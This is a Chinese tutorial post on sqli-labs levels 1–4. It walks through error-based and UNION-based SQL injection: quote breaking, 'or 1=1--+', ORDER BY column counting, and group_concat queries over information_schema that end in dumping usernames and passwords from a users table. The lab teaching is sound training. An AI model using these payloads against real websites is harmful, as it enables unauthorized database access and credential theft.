sqli labs 1 4關 涉及的知識點

2022-01-12 11:40:09 字數 1069 閱讀 9691

less-1 到less-4  基礎知識注入

我們可以在 後面直接新增乙個 『 ,來看一下效果:

從上述錯誤當中,我們可以看到提交到 sql 中的 1』在經過 sql 語句構造後形成 '1'' limit 0,1,

多加了乙個 』 。這種方式就是從錯誤資訊中得到我們所需要的資訊,那我們接下來想如何

將多餘的 『 去掉呢?

嘗試 『or 1=1--+

可以看到資料成功返回  

我們通過order  by   來確定當前有幾列 

order by 3,超過 3 就會報錯。

『order by 4--+的結果顯示結果超出。

在利用 union  去增加顯示

select 1,2,3--+

當 id 的資料在資料庫中不存在時,(此時我們可以 id=-1,兩個 sql 語句進行聯合操作時,當前乙個語句選擇的內容為空,我們這裡就將後面的語句的內容顯示出來)此處前台頁面返回了我們構造的 union 的資料。

可以構造  

select 1,2,database()  --+ 

返回當前 連線資料庫 

在返回當前資料庫的所有表

select 1,2,group_concat(table_name) from information_schema.columns where  table_schema=database() 

在返回表的所有字段

select 1,2,group_concat(column_name) from information_schema.columns where  table_schema=database()  and table_name='users'

更具返回的表查詢相應的資料

select 1,group_concat(username),group_concat(password) from users

以上的1-4關的步驟差不多

less-2  數字型 ,less-3 有乙個')括號 less-4 ")

python中有關涉及list操作的集合

在python中,list 列表 也就是我們在c 語言中說的陣列,有很豐富的操作,主要比如下面的這些操作 2 extend list1 1,2,3,list2 4,5,6 list2.extend list1 用來連線兩個list list1和list2。3 index x list.index x...

DBN RBM 涉及的基礎知識

先說一下rbm restricted boltzmann machine 是指受限玻爾茲曼機,是一種基於隨機神經網路來解釋的概率圖模型。hinton在2016年提出dbn deep belief network 後,dbn和rbm在機器學習界引起了很廣泛的應用。蒙特卡洛方法 解釋參考 1 具體思想 ...

面試時涉及的網路知識

參加了好幾個公司的面試了,其中涉及的網路問題無非就那幾個,在此總結一下 1.osi七層體系結構 1 物理層 為資料鏈路層提供物理連線,在其上序列傳送位元流,即所傳送資料的單位是位元。此外,該層中還具有確定連線裝置的電氣特性和物理特性等功能。2 資料鏈路層 負責在網路節點間的線路上通過檢測 流量控制和...